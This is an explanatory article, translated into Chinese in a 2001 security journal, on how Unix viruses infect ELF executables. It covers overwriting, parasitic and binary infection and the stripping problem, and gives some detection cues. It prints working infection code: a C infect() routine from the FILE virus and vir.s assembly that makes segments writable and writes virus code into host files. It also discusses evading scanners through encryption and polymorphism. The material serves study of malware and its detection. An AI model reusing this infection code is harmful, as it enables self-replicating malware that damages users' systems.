首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第24期->技术专题
期刊号: 类型: 关键词:
感染ELF文件(1)

作者:Silvio Cesare < mailto: silvio@big.net.au >
整理:小四 < mailto: scz@nsfocus.com >
主页:http://www.nsfocus.com
日期:2001-08-13

★ 目录

    ★ 序言
    ★ 代码段和数据段
    ★ 覆盖式感染
    ★ 寄生传染
    ★ 非二进制感染
    ★ 解决strip问题的非二进制感染
    ★ 链接和加载
    ★ 二进制感染
    ★ 换个角度看前面介绍的传染技术
    ★ 利用节对齐的填充区进行传染
    ★ 利用函数对齐的填充区进行传染
    ★ 利用填充区植入病毒
    ★ 代码段传染技术
    ★ 数据段传染技术
    ... ...
--------------------------------------------------------------------------

★ 序言

能够传染是病毒或者蠕虫关键功能之一。病毒必须以某种传染方式寄生于某种宿主,
并以此分类。传染,意味着修改宿主,当宿主代码执行时,病毒和蠕虫随之一起运行。
病毒有可能抢先执行,然后将控制权还给宿主,也有可能先让宿主执行,而后才执行
自身。病毒感染宿主之后,并不一定需要保持宿主可执行,许多早期病毒彻底破坏了
宿主,只执行自身代码。

病毒并不只感染可执行代码,还可以感染其他目标。要想列举完所有可感染目标毫无
意义,这只受限于你的想象:

. 可执行代码
. 其他进程
. 源代码
. 脚本
. Makefile文件
. man手册
. 内核模块
. 库文件
. 各种包文件

例如,一个基于进程的病毒可以感染该进程创建的其他进程,只需要截获进程创建系
统调用即可。病毒也可以源代码方式感染、传播,只要被感染的源代码能够编译、运
行,TLB(Stealth 1999)正是这样一个例子。

Makefile文件所使用的机制可以理解成一种解释型语言,病毒感染Makefile文件,并
利用这种解释型语言机制搜索、感染更多的Makefile文件。man手册使用了troff正文
处理语言,所以也是病毒感染目标,Stealth于1999年写过一个man手册病毒。还可以
感染动态库、静态库中的某些函数、初始化例程等等。Phrack Magazine 56-7演示了
感染二进制ELF文件的技术。LLKM可以感染系统中其他LLKM,这种病毒将以超级用户
身份执行。The fuzz virus (Anonymous 1997)正是利用LLKM进行传播的。即使一个
特定操作系统中的包文件也有可能被用于传播病毒,通常是超级用户处理包文件,所
以病毒将以超级用户身份得到执行。

一个有效的Unix病毒可能实施多种传染技术,其繁殖能力相当强。然而,通过可执行
文件传染是最普遍的技术。后面我们将重点讨论通过可执行文件及相关二进制文件进
行病毒传播。

这份技术文档中,我们将看到感染一个二进制可执行文件的各种方法。最简单的病毒
直接覆盖宿主。一个非二进制寄生病毒不改变宿主内部对象格式,在自身得到执行后
将控制交还给宿主。一个扩展是采用同样的感染技术,但修改了宿主内部对象格式以
隐藏病毒。更复杂也更灵活的感染技术是将病毒合入宿主进程映像中,比如用病毒替
换宿主进程映像,之后恢复,在宿主进程映像首部或尾部植入病毒代码,覆盖进程映
像各段之间的填充区域等等。

我们还将讨论如何逃避病毒扫描检查。可以修改宿主,使得病毒代码首先被执行,但
不改变宿主原始"entry point"。通过加密和多态性(传染过程中修改病毒二进制代码
)使得无法采用简单的静态二进制特征串进行病毒扫描检查。

★ 代码段和数据段

Unix操作系统象绝大多数现代操作系统一样,进程映像被划分成代码段和数据段。这
里段(segment)用于描述具有相同属性的一片内存区域。不只代码段、数据段,还有
其他更多的段,比如堆栈段。然而,只有代码段、数据段存在于静态文件映像中。代
码段和数据段的主要区别在于它们的访问权限不同,这也是我们认为它们是不同的段
的理由。不只是概念上的区别,还有性能上的区别,现在许多操作系统和芯片架构处
理拥有某一特定属性的页面时,比处理拥有另外一些属性的页面时要快。

程序被划分为两个截然不同的部分,代码段和数据段。之所以命名为text segment,
有其历史原因,该段之只包含只读数据。除了程序代码外,那些在运行过程中保持不
变的数据也位于代码段,比如一个ascii字符串

    printf( "Hello\n" );

来自静态文件映像的ELF头部信息也位于代码段,并且在代码段首部。这样就不需要
单独为ELF头部分配一页。不是所有支持头部信息的文件格式都如此,象zmagic
a.out格式,其来自静态文件映像的头部信息单独占用一页,代码段从紧接着的下页
开始。

数据段包括初始化过的数据、未初始化过的数据以及动态内存分配所使用的堆区
(Heap)。它们各自占用了数据段的不同部分,并不重叠,但是访问权限相同。注意,
在Linux上,初始化过的数据段、BBS和Heap的访问权限也不相同。用C语言来描述,
赋予初值的全局或静态变量位于初始化过的数据段。

    int init_data_1 = 1;
    int bss_2;

    int main ( void )
    {
        int        stack_1;
        static int init_data_2 = 2;
        .
        .
        .
    }

在这个例子中,变量init_data_1和init_data_2位于初始化过的数据段中,变量
stack_1在栈区中(stack)。变量bss_2位于BSS中。未初始化过的数据段称做BSS,但
事实上并非没有初始化,加载进程的时候要求初始化BSS区成全零。特殊之处在于BSS
不要求出现在静态文件映像中。在Linux中,BSS的权限是可读、可写、可执行(rwx),
这与堆区(Heap)形成对比,Heap区权限是可读、可写,没有可执行(rw-)。

将代码段、数据段划分开,使得编程更加简捷,不用考虑过多复杂的问题,观察下述
C代码

    "Hello"[0] = 'G';

如果一个操作系统不做段划分,整个进程映像都是可读、可写、可执行的。于是上述
代码将成功修改字符串"Hello"的第一个字符'H'成'G',而该字符串位于代码段。对
于划分了代码段、数据段的操作系统,上述代码违背了内存访问策略。在Unix操作系
统上,这将导致"段违例",信号SIGSEGV被发送到相关进程,通常引起core dump。

现代操作系统划分不同的段有很多原因。不同进程可以共享代码段。只读页在性能上
优于读写页。许多古老操作系统上的程序采用自修改代码,因此无法移植到现代Unix
操作系统上,后者代码段只读。自修改代码使程序很难理解。许多硬件会缓存一系列
指令以加快执行速度,自修改代码需要刷新缓存,导致硬件性能优势无法展现。

. 分页内存管理模式下进程映像

        内存低址

    [TTTTTTTTTTTTTTT]
    [TTTTTTTTTTTTTTT]
    [TTTTTTTTPPPPPPP]

    [DDDDDDDDDDDDDDD]
    [DDDDDDDDDDDDDDD]
    [DDDDDDDDBBBBBBB]

    [BBBBBBBBPPPPPPP]
    [PPPPPPPPPPPPPPP]
    [PPPPPPPPPPPPPPP]
    .
    .
    .
    [PPPPPSSSSSSSSSS]
    [SSSSSSSSSSSSSSS]
    [SSSSSSSSSSSSSSS]

        内存高址

关键字:

    T   TEXT    (ro)
    D   DATA    (rw)
    B   BSS     (rw)
    S   STACK   (rw)
    P   PADDING

每三行[]代表一页内存


    * 在这个图表中,栈区向低址增长,填充位于更低地址

    * 必须特别注意代码段和数据段的顺序。代码段大小固定,数据段可能增长,因
      为堆区(Heap)位于数据段。这意味着数据段必须位于代码段之后,否则无法增
      长。

并不都是这样分页管理的,最初代码段和数据段并未严格按页划分、隔离开来。

. 填充、隔离代码段和数据段之前的进程映像


        内存低址

    [TTTTTTTTTTTTTTT]
    [TTTTTTTTTTTTTTT]
    [TTTTTTTTDDDDDDD]
    [DDDDDDDDDDDDDDD]
    [DDDDDDDDDDDDDBB]
    [BBBBBBB]

        内存高址

关键字:

    T   TEXT    (rw)
    D   DATA    (rw)

    * 为了简洁起见,图中没有标识栈区(stack)

此时代码段和数据段的划分完全是概念上的,它们拥有相同的内存权限。

★ 覆盖式感染

这种类型的病毒就是简单覆盖宿主,其传染过程用伪代码描述如下

    infect ( filename )
    {
        if ( is_executeable( filename ) )
        {
            copy( argv[0], filename );
        }
    }

Bliss virus (Anonymous 1996)正是这种类型的补丁,感染意味着覆盖可执行文件,
原始数据被病毒破坏。这不是一个有效病毒所期望的。现在绝大多数人关心那种在被
发现前尽可能多地传染各种系统的高效病毒。此外,有效病毒可能意味着获取系统中
某种特权,比如访问特权文档,甚至直接获取超级用户权限。一个有效的病毒应该保
持隐蔽状态,直到完成所期望的功能。

一般来说,这种破坏可执行文件的感染方式都留有恢复手段,运行病毒程序时指定一
些特殊参数就能恢复原始宿主文件。

这种覆盖式传染效果非常不好,下次执行宿主将失败,很容易被发现。而且如果被破
坏的宿主是系统赖以生存的重要文件,将导致整个系统腐烂。

Bliss virus (Anonymous 1996)只传染足以容纳病毒体的文件

         原宿主            被感染后的
    [HHHHHHHHHHHHHH]    [VVVVVVVVVVVVVV]
    [HHHHHHHHHHHHHH]    [VVVVVVHHHHHHHH]
    [HHHHHHHHHHHHHH]    [HHHHHHHHHHHHHH]

关键字:

    H   宿主信息
    V   病毒体

strip一个文件意味着删除二进制文件中的辅助信息,通常并不需要它们,比如调试
器使用的符号信息。注意,strip一个二进制文件并不是删除所有不必要的信息,仅
仅删除了符号信息和调试信息。比如,一些有关所采用编译器的信息就不会被strip
掉。

    译注:对于SPARC/Solaris,请man mcs,/usr/ccs/bin/mcs

如果对一个被Bliss感染过的二进制文件做strip操作

         原宿主            被感染后的
    [HHHHHHHHHHHHHH]    [VVVVVVVVVVVVVV]
    [HHHHHHHHHHHHHH]    [VVVVVV]
    [HHHHHHHHHHHHHH]


因为病毒体的ELF头部位于文件最前部,它相当于线路图,指明可执行文件其余部分
的相互关系。ELF头部和辅助头部决定了哪些才是二进制文件的必需部分。此时只有
病毒体的描述,没有后续原宿主信息的相关描述。于是strip操作删除了后续原宿主
信息,它们被认为是非必需的。可以通过strip操作前后文件长度变化发现病毒。

即便一个简单的覆盖式病毒,为了如期望的那样执行,也必需小心设计。另外一些覆
盖式病毒修正了Bliss病毒的做法,它们修改了ELF头部信息,使得包含后续原宿主信
息。正如Siilov virus (Cesare 1999)所演示的,凭空创建一个新节(section)并非
不可能,但是这将大大增加病毒体的复杂度,需要理解ELF文件格式。

★ 寄生传染

更文明的办法是向宿主文件中插入病毒体,不破坏宿主主体。修改程序流程,以便病
毒跟随宿主一起执行。这是任何有效病毒的基本要求。

我们面临三种选择,在宿主什么位置植入病毒体,前部、中部、尾部。有种技术是病
毒暂时占用宿主空间,执行结束后病毒恢复所占用的宿主空间,这里暂不讨论这种技
术。在宿主中部插入病毒并不理想,无法保证宿主流程必然经过病毒所在地,这是不
可预知、不确定的。在宿主尾部植入病毒也存在类似问题。宿主多半使用libc(标准C
库实现),退出点很多,无法确定从哪里退出。一般来说,在宿主前部植入病毒最有
效。内存驻留型病毒可以截获文件访问例程(系统调用),之后的所有被访问文件都将
成为传染对象。越早驻留内存截获系统调用,越快开始传染。

为了修改宿主程序流程,需要修改ELF文件的入口点(entry point)。被执行的第一条
指令所在地址称做入口点。

原来的程序

                        +------------------------+
                        |                        |
入口点         -------> |         正文段         |
                        |                        |
                        +------------------------+
                        |                        |


感染后的程序

                        +------------------------+
                        |                        |
入口点         ---+     |         正文段         | <--+     入口点
                  |     |                        |    |
                  |     +------------------------+    |
                  |     |                        |    |
                  |                                   |
                  |     +------------------------+    |
                  |     |                        |    |
入口点            +---> |         病  毒         |    |
                        |                        |    |
                        +------------------------+ ---+     退出点

在一些古老的操作系统或文件格式中,可能无法直接指定入口点,多半是隐式定义在
固定位置,比如文件的第一个字节或其他特定偏移处。MS-DOS下COM文件就是一个完
整的未修正的内存映像,其第一个字节就是入口点。现代操作系统和文件格式支持直
接指定入口点,比如ELF以及新的a.out格式。

尽管MS-DOS下COM文件无法直接指定入口点,但还是可以更改程序流程。

    . 替换入口点处的指令成跳转指令,跳转到原程序尾部
    . 将病毒体追加到程序尾部,使得第一步中的跳转指令正好对准病毒体
    . 执行病毒体
    . 病毒体用原宿主指令替换第一步中的跳转指令,或者直接模拟原宿主入口点指
      令
    . 如果是替换还原了,则从病毒体跳转回原宿主入口点,如果是模拟的,则跳转
      到原宿主入口点之后的那条指令。

原来的程序                          感染后的程序

STORE_LONG_0:   pushl %ebp          start:  jmp virus
STORE_LONG_1:   movl %esp, %ebp                 .
                    .                           .
                    .                           .
                    .                           .
                ret                         ret
                                    virus:      .
                                                .
                                                .
                                            movl $STORE_LONG_0, start
                                            movl $STORE_LONG_1, 4(start)
                                            jmp start


这里STORE_LONG_0/1是原宿主入口点处的8个字节,被跳转指令覆盖了。究竟需要保
存多少字节是实现相关的,和具体的芯片架构也有关系。

这种技术(称做链)无法用于现代操作系统,比如Unix,原因如下

    . 文件格式更加复杂
    . 内存各区域有权限设置

绝大多数现代Unix操作系统采用更复杂的文件格式,因此简单在宿主尾部追加病毒体
并不意味着其自动成为宿主进程映像的一部分,而且很容易暴露。

对于MS-DOS的COM文件,其代码部分后面紧跟着数据部分,文件映像直接复制到内存
里进程空间。尾部追加的数据自动成为代码和数据。

可执行文件头部信息中记录了代码段、数据段如何组织的,加载过程中操作系统立刻
就可知道各段占用多少内存。如果想在代码段中增加新的代码,需要在文件中定位代
码段所在。一般代码段位于数据段之前,我们还需要物理移动数据段以避免被覆盖。

可执行文件的头部信息也应该随之改变。即使我们只使用数据段存放病毒体,依旧有
问题。文件尾部并不精确对应内存映像尾部。ELF格式中,符号信息出现在目标代码
之后(问:代码段与数据段之间?)。

未初始化的数据段称做BSS,紧跟在初始化过的数据段(DATA)之后。通常BSS不占用
ELF文件空间,仅仅占用内存里进程映像空间。如果病毒体位于数据段尾部(指静态文
件里),进入内存后会覆盖BSS区域,宿主中必然存在使用BSS区域的代码,显然要冲
突,很可能引发灾难。mandragore virus考虑到这点,运行时修改了BSS段,避免冲
突。

文件开始            +------+------------------+++++++
内存低端            | TEXT | INITIALIZED DATA | BSS |   内存高端
                    +------+------------------+++++++

BSS不占用文件空间。

代码段一般都是只读的,使用简单的链技术,病毒需要修改宿主原入口点处,而那位
于代码段,只读限制使之无法完成。此类病毒的变种考虑到这个问题,利用非标准的
系统调用修改了代码段权限保护,Siilov virus (Cesare 1999)正是这样使用链技术
的。

早期a.out格式中,代码段和数据段是连续的,并且均可写,非常类似MS-DOS的COM文
件。区别只在于Unix文件格式中用一个头部标识区分文件,而MS-DOS用文件扩展名标
识区分文件,所以不需要一个头部。认真讨论二者的区别超出了本文范围,各有利弊。
如果去除头部可以减少文件大小,但是更复杂的文件格式几乎总是需要一个头部来描
述拓扑结构。随着新技术的发展,开始使用我们现在所熟悉的文件格式。

★ 非二进制感染

迄今为止,寄生传染的最简单形式就是FILE virus(也称做Silvio virus)(Cesare
1999)
所演示的。VLP virus 和 8000 virus 也使用了类似技术。该技术可以用于各种文件
格式。它不要求操作二进制文件格式,可以完全采用高级语言编写,不需要编写者拥
有文件格式以及Unix内核的知识。

某些此类病毒因为其他原因操作二进制文件内部格式。8000 virus (Anonymous, 2000)
正是这样的例子,它运行于Linux操作系统,修改了二进制文件,不能用标准调试工
具处理它,比如objdump这类依赖于GNU BFD库的工具。BFD库用于处理ELF目标文件格
式。处理8000 virus时,BFD被一个特殊构造过的可执行文件头部格式所困扰,无法
正确识别。可笑的是,8000 virus修改ELF内部格式完全是意外。8000 virus的原始
形态确认是VLP virus。VLP virus以硬编码方式使用自身编译后大小(8000字节)。然
而8000 virus编译后大于8000字节,复制过程中,病毒截断了自身。很可能8000 virus
的始作俑者并未意识到硬编码带来的冲突。截断导致几个不必要的节(section)和一
些ELF信息被删除,但是病毒体功能仍在。

    译注:有必要研究这里,如何构造一些特殊ELF信息,破坏调试工具的使用

前面我们提到,可以在ELF可执行文件尾部追加病毒体而不必担心破坏执行宿主所需
信息。因为ELF头部信息反映了文件合法范围。现在我们追加宿主到病毒体尾部,病
毒首先得到执行,如果病毒体知道自身长度,就可以定位出宿主并析取产生一个新的
可执行文件。最后病毒体将控制权交还给宿主。

此类病毒机制的典型描述如下:

. 将控制交还给宿主

    执行病毒体
    定位到病毒体尾部
    读取静态文件剩余部分
    写入一个新文件
    执行新文件

. 病毒传染

    读取静态文件中病毒体部分
    写入一个新文件
    读取宿主
    追加宿主到新文件尾部
    将文件改名为宿主名
    修正文件属主、属组、权限、时间戳等信息

这种病毒机制存在的问题和Bliss virus一样,一旦strip就不能保持同样大小,因为
宿主部分未反映在病毒体所用ELF头部信息中。

该技术无法和更高级的驻留技术一起使用。在驻留技术中,桩子代码(stub code)需
要获取动态链接库中某些函数调用的控制权,替换后的库函数必须驻留在进程映像中。
因此,病毒体和宿主必须位于同一进程映像中。而前面描述的简单传染技术无法满足
要求。

另外有个问题,这种技术需要析取宿主生成一个新文件。如果最后想删除这个临时文
件,需要创建额外的进程完成任务。8000 和 VLP 病毒未清除临时文件/tmp/tmp和
/tempN,这里N是一个从零开始的数字。FILE 病毒是另外一个使用此类传染技术的病
毒,但是它创建额外进程负责清除临时文件。

下节讨论二进制感染,将解决这些问题。

在结束本小节之前看看现实中的例子,FILE virus、Silvio virus (Cesare 1999)

--------------------------------------------------------------------------
int infect ( char * filename, int hd, char * virus )
{
    int          fd;
    struct stat  stat;
    char        *data;
    int          tmagic;
    Elf32_Ehdr   ehdr;

    /* read the ehdr */
    if ( read( hd, &ehdr, sizeof( ehdr ) ) != sizeof( ehdr ) )
    {
        return( 1 );
    }
    /* ELF checks */
    if ( ehdr.e_ident[0] != ELFMAG0 || ehdr.e_ident[1] != ELFMAG1 ||
         ehdr.e_ident[2] != ELFMAG2 || ehdr.e_ident[3] != ELFMAG3 )
    {
        return( 1 );
    }
    if ( ehdr.e_type != ET_EXEC && ehdr.e_type != ET_DYN )
    {
        return( 1 );
    }
    if ( ehdr.e_machine != EM_386 && ehdr.e_machine != EM_486 )
    {
        return( 1 );
    }
    if ( ehdr.e_version != EV_CURRENT )
    {
        return( 1 );
    }
    if ( fstat( hd, &stat ) < 0 )
    {
        return( 1 );
    }
    if ( lseek( hd, stat.st_size - sizeof( magic ), SEEK_SET ) !=
         stat.st_size - sizeof( magic ) )
    {
        return( 1 );
    }
    if ( read( hd, &tmagic, sizeof( magic ) ) != sizeof( magic ) )
    {
        return( 1 );
    }
    if ( tmagic == MAGIC )
    {
        return( 1 );
    }
    if ( lseek( hd, 0, SEEK_SET ) != 0 )
    {
        die( "lseek" );
    }
    fd = open( TMP_FILENAME, O_WRONLY | O_CREAT | O_TRUNC, stat.st_mode );
    if ( fd < 0 )
    {
        die( "open( TMP_FILENAME )" );
    }
    if ( write( fd, virus, PARASITE_LENGTH ) != PARASITE_LENGTH )
    {
        return( 1 );
    }
    data = ( char * )malloc( stat.st_size );
    if ( data == NULL )
    {
        return( 1 );
    }
    if ( read( hd, data, stat.st_size ) != stat.st_size )
    {
        return( 1 );
    }
    if ( write( fd, data, stat.st_size ) != stat.st_size )
    {
        return( 1 );
    }
    if ( write( fd, &magic, sizeof( magic ) ) != sizeof( magic ) )
    {
        return( 1 );
    }
    if ( fchown( fd, stat.st_uid, stat.st_gid ) < 0 )
    {
        return( 1 );
    }
    if ( rename( TMP_FILENAME, filename ) < 0 )
    {
        return( 1 );
    }
    close( fd );
    return( 0 );
}

.
.
.

int main ( int argc, char * argv[] )
{

    .
    .
    .
    if ( fstat( fd, &stat ) < 0 )
    {
        die( "fstat" );
    }
    len   = stat.st_size - PARASITE_LENGTH;
    data1 = ( char * )malloc( len );
    if ( data1 == NULL )
    {
        die( "malloc" );
    }
    if ( lseek( fd, PARASITE_LENGTH, SEEK_SET ) != PARASITE_LENGTH )
    {
        die( "lseek( fd )" );
    }
    if ( read( fd, data1, len ) != len )
    {
        die( "read( fd )" );
    }
    close( fd );
    out = open( TMP_FILENAME2, O_RDWR | O_CREAT | O_TRUNC, stat.st_mode );
    if ( out < 0 )
    {
        die( "open( out )" );
    }
    if ( write( out, data1, len ) != len )
    {
        die( "write( out )" );
    }
    free( data1 );
    close( out );

#ifdef USE_FORK
    pid = fork();
    if ( pid < 0 )
    {
        die( "fork" );
    }
    if ( pid == 0 )
    {
        exit( execve( TMP_FILENAME2, argv, envp ) );
    }
    if ( waitpid( pid, NULL, 0 ) != pid )
    {
        die( "waitpid" );
    }
    unlink( TMP_FILENAME2 );
    exit( 0 );
#else
    exit( execve( TMP_FILENAME2, argv, envp ) );
#endif
    return( 0 );
}

[ lots to do here ]
--------------------------------------------------------------------------

译注:我们自己的UnixBind技术实际上就是这样完成的。而且很多情况下可以不必等
      待宿主执行完毕直接删除临时文件。当然FILE virus演示的waitpid()技术值
      得借鉴,比较稳妥。

★ 解决strip问题的非二进制感染

为了解决文件strip后大小发生变化的问题,需要ELF文件格式的知识。

首先想到的可能是扩展ELF文件的最后一节(section)。一个ELF二进制文件可以按节
划分,每节对应二进制文件的一部分。这些节可以描述文本段.text和数据段.data,
也可以描述初始节.init或者过程链接表.plt。一个典型ELF可执行文件的最后节对于
strip过的二进制文件是.shstrtab,对于未strip过的二进制文件是.strtab。
.shstrab节是section header string table,用于存放各节名字。.strtab节是
string table,为符号表(.symtab节)所用,包括函数名以及调试信息。使用这两种
节存放病毒体或者宿主信息存在一个问题,当strip可执行文件时,这两种节将被修
改,删除的部分几乎可以肯定包含病毒体或者宿主信息。

F2病毒的最终版扩展了.note节。对于strip过的典型ELF可执行文件,.note节通常是
倒数第二节。对于未strip过的二进制文件,.note节通常是倒数第四节。为了消除这
种不一致性,传染宿主前strip过病毒载体。

        未strip过的二进制文件
        .
        .
        .
        [ .note         ]
        [ .shstrtab     ]

        * section header table

        [ .symtab       ]
        [ .strtab       ]

        ** EOF


        strip过的二进制文件
        .
        .
        .
        [ .note         ]
        [ .shstrtab     ]

        * section header table

        ** EOF

strip过一个二进制文件之后并不需要.note节存在,然而常规strip工具并未删除该
节,为传染病毒提供了契机。

    译注:参看/usr/ccs/bin/mcs,请man mcs,执行mcs -d删除.note节

扩展.note节会覆盖.shstrtab节。某些情况下strip这种遭到破坏的ELF文件,文件大
小反而增加。如果怀疑病毒存在,可以利用这点进行检查。

为了避免上述问题,可以复制.shstrtab节到文件尾部,原来的.shstrtab节仍然留在
那里,但是无用了。

        文件布局 #1

        [PPPPPPPPP]
        [PPPPPPPPP]
        [SSSSSSSSS]    <-- 未使用
        [HHHHHHHHH]
        [HHHHHHHHH]
        [HHHHHHHHH]
        [SSSSSSSSS]

        关键字:

                P    Parasite/Virus
                H    宿主(Host)
                S    Parasite/Virus ".shstrtab" Section

问题并未真正解决,此时扩展.note节会覆盖section header table,某些情况下
strip这种遭到破坏的ELF文件,文件大小反而增加。F3病毒利用了这个不完善的技术。

同样,我们可以复制section header table到文件尾部。

        文件布局 #2

        [PPPPPPPPP]
        [PPPPPPPPP]
        [SSSSSSSSS]    <-- 未使用
        [TTTTTTTTT]    <-- 未使用
        [HHHHHHHHH]
        [HHHHHHHHH]
        [HHHHHHHHH]
        [SSSSSSSSS]
        [TTTTTTTTT]

        关键字:

                P       Parasite/Virus
                H       宿主(Host)
                S       Parasite/Virus ".shstrab" Section
                T       Parasite/Virus Section Header Table

F4病毒采用了这个技术。strip这样一个被感染的二进制文件不会导致文件大小变化。
注意,为了避免出现.symtab节和.strtab节,病毒载体早已strip过。

然而,这种技术导致.note节异常大。典型的.note节只包含少量数据。任何异常大小
的.note节都值得怀疑。

    译注:我们自己的rootkit检测技术应该考虑这种检查了

★ 链接和加载

为了修改宿主映像使得病毒体成为它的一部分,需要理解一个可执行映像是如何生成
并得到执行的,这分别是链接和加载的任务。创建可执行文件包含很多步骤,比如从
高级语言编写的源代码开始编译,链接是最后一个步骤。

/* gcc -Wall -g -ggdb -o elftest elftest.c */
#include <stdio.h>

int main ( int argc, char * argv[] )
{
    printf( "Hello\n" );
    return( 0 );
}

0x80483d0 <main>:       push   %ebp
0x80483d1 <main+1>:     mov    %esp,%ebp
0x80483d3 <main+3>:     push   $0x8048440
0x80483d8 <main+8>:     call   0x8048308 <printf>
0x80483dd <main+13>:    add    $0x4,%esp
0x80483e0 <main+16>:    xor    %eax,%eax
0x80483e2 <main+18>:    jmp    0x80483e4 <main+20>
0x80483e4 <main+20>:    leave
0x80483e5 <main+21>:    ret

字符串"Hello"的地址是固定的,具体是多少,受很多因素影响,比如整个程序大小,
可执行映像加载地址(虚拟地址)等等。

链接过程将一个可重定位目标文件转换成可执行对象,技术上就是将抽象名字与具体
名字绑定。可重定位对象的代码是地址无关的,编译器产生可重定位代码,链接器处
理这个映像以便内核可以加载执行它。

事实上绝大多数时候,汇编器产生可重定位映像,这里为了简捷起见,省略了这一步
骤的描述。现代操作系统中可执行映像采用虚拟地址,拥有固定的加载地址。因此链
接过程就是将可重定位代码转换到固定位置上,转换后可以直接加载进入进程空间。
注意,链接和加载经常纠缠在一起,不同操作系统上二者功能互有重叠。

为了生成可重定位代码,映像的目标格式通常包含重定位项。链接器通过重定位项获
取需要重定位的地址,转换成固定地址。

/* gcc -Wall -g -ggdb -o elftest elftest.c */
#include <stdio.h>

void foo ( int a )
{
    static int A;

    A = a;
    return;
}

int main ( int argc, char * argv[] )
{
    printf( "Hello\n" );
    return( 0 );
}

0x80483d0 <foo>:        push   %ebp
0x80483d1 <foo+1>:      mov    %esp,%ebp
0x80483d3 <foo+3>:      mov    0x8(%ebp),%eax
0x80483d6 <foo+6>:      mov    %eax,0x8049598  <-- 这里使用了绝对地址
0x80483db <foo+11>:     jmp    0x80483e0 <foo+16>
0x80483dd <foo+13>:     lea    0x0(%esi),%esi
0x80483e0 <foo+16>:     leave
0x80483e1 <foo+17>:     ret

注意上面标注的那行使用了绝对地址。在一个可重定位对象里,静态变量A的地址未
知,直到链接时。编译时记录引用变量A的地址,称做一个重定位项。实践中,重定
位项是节内偏移,可重定位对象中各节有其自身地址。

在MS-DOS这种操作系统中,链接和加载都由内核完成,因此不需要单独的链接过程。
.COM格式的可执行映像直接认为是可重定位的。

.COM格式采用单一段内绝对地址,通过段寄存器和段内偏移索引内存地址。在MS-DOS
下,段大小固定,不能超过64KB,.COM格式受限于此大小。要想突破这个限制,程序
必须自己完成重定位。

另外一些可执行格式,链接和加载是独立的过程,但都是内核完成的,没有单独的链
接器负责链接过程。这种格式也有重定位项,通常称做修正项。MS-DOS .EXE格式正
是这样的例子。

然而现代Unix操作系统中,链接在用户空间完成,加载由内核完成。来看看与可执行
无关但与链接、加载相关的一种特殊的可重定位对象LLKM。所有用户空间的进程拥有
相同的虚拟地址,因为链接器使用同一个缺省加载地址。另一方面,LLKM必须与内核
其他部分共享进程空间,几乎不可能给LLKM一个缺省加载地址,你无法事先知道哪个
地址可用、哪个地址已经为内核其他部分所占用。LLKM从用户空间插入内核时专门有
程序负责完成其中的链接过程,然后内核完成最终的加载过程。

★ 二进制感染

二进制感染指病毒体插入宿主映像中,而前面介绍的技术中,病毒体是独立可执行的。
二进制感染技术的重要性在于:

    . 没有额外的文件或进程
    . 病毒体是宿主进程映像的一部分

考虑驻留型病毒,需要截获、替换宿主使用到的某些函数。过程链接表PLT是驻留型
病毒的主要目标,在这里可以截获动态链接库中的函数调用。

单一进程映像使得病毒检测更加困难。而以前那些技术需要额外的进程或者临时文件,
很容易引起注意。

面临的第一个问题就是决定使用哪块地址空间。可执行文件代码使用绝对地址,比如
(mov %eax, 0x8049598),无法在内存中移动这些段。注意,这里我们用到术语--段(
segment),和MS-DOS下的段不是一个概念,这里指具有同样属性的一片内存区域。

现在我们有两种选择以让病毒体成为宿主映像的一部分:

    . 使用宿主所在内存映像
    . 使用宿主映像周边地址空间

第一种方式,病毒体将覆盖原宿主部分进程映像,我们可以复制保存该部分数据,交
还控制权之前恢复之。病毒体可以是位置无关代码,也可以是固定地址的。这种技术
比之后面介绍的技术易于实现得多。注意,这种方式很可能存在strip后静态文件大
小缩减的问题。

第二种方式,病毒体使用位置无关代码,如果宿主地址空间从0x08048000到
0x08049000,病毒体就使用0x08048000之前或者0x08049000之后的地址。病毒体必须
是位置无关的,因为它无法知道最后所用地址,直到成功感染了宿主之后。这种技术
的主要好处在于病毒体可以驻留内存,而第一种方式病毒体只能执行一次,然后就将
控制权交还给宿主了,自身为原宿主所替换。

Staog virus (QuantumG 1996) 和 vir.s parasite (Stealth 1999) 都采用了第一
种方式,覆盖了宿主映像,之后恢复宿主映像,交还控制权。它们存在strip问题。

此外,文本段必须修改成可写的,否则无法恢复宿主映像。Staog病毒调用了Linux的
mprotect()系统调用修改文本段成可写的。而vir.s parasite修改了ELF静态文件,
.text节的sh_flags成员被设置成可写,代码段加载时就已经是可写的。

{
2001-07-28 18:46 scz
这里有点问题,应该是修改代码段program header中的标记,而不是.text节的标记
需要验证,参看后续讨论
}

下述伪代码无法工作

virus:

    /* virus main */
    for ( q = saved_host, p = virus; p < end_of_virus; p++, q++ )
    {
        *p = *q;
    }

end_of_virus:

这个例子中,正在运行的代码覆盖了自身。解决办法是将代码移到堆栈中或者其他地
方,然后执行之。vir.s parasite使用了这种手法

VIR.S

.
.
.

# seek to e_phoff

    movl $LSEEK, %eax
    movl -1972(%ebp), %ecx
    movl $SEEK_SET, %edx
    int $0x80

    movw -1956(%ebp), %ecx          # get e_phnum (2 bytes)
l1:
    pushl %ecx
    movl $READ, %eax                # read in program header
    leal -2000(%ebp), %ecx
    movl $PHDR32_LEN, %edx
    int $0x80

    movl $LSEEK, %eax               # seek back these bytes
    xorl %ecx, %ecx
    subl $PHDR32_LEN, %ecx
    movl $SEEK_CUR, %edx
    int $0x80

    movb $7, -1976(%ebp)            # set flags to PT_READ|PT_EXEC|PT_WRITE
                                    # Huh? Elf32 requires a word (4 bytes)
here
                                    # but for what ? 7 is the greatest
value...

    movl $WRITE, %eax               # write back program header
    leal -2000(%ebp), %ecx
    movl $PHDR32_LEN, %edx
    int $0x80

    popl %ecx
    loop l1

# seek to (TEXTADDR - e_entry) in file

    movl $LSEEK, %eax
    popl %ecx                       # get back e_entry
    subl $TEXTADDR, %ecx
    pushl %ecx                      # save virii-pos, we need it later
    movl $SEEK_SET, %edx
    int $0x80

# read and save bytes that we will overwrite onto stack

    movl $READ, %eax
    leal -2000(%ebp), %ecx
    movl $(END-main), %edx
    int $0x80

# and write back to end of file (first seek there)

    movl $LSEEK, %eax
    xorl %ecx, %ecx
    movl $SEEK_END, %edx
    int $0x80

    movl $WRITE, %eax
    leal -2000(%ebp), %ecx
    movl $(END-main), %edx
    int $0x80

# seek back to virii-position

    movl $LSEEK, %eax
    popl %ecx                       # get back saved position
    movl $SEEK_SET, %edx
    int $0x80

# write virus code to file

    movl $WRITE, %eax
    movl %edi, %ecx
    movl $(END-main), %edx
    int $0x80

# close file

close_file:

    movl $CLOSE, %eax
    int $0x80

# move end of virus to stack and jump there

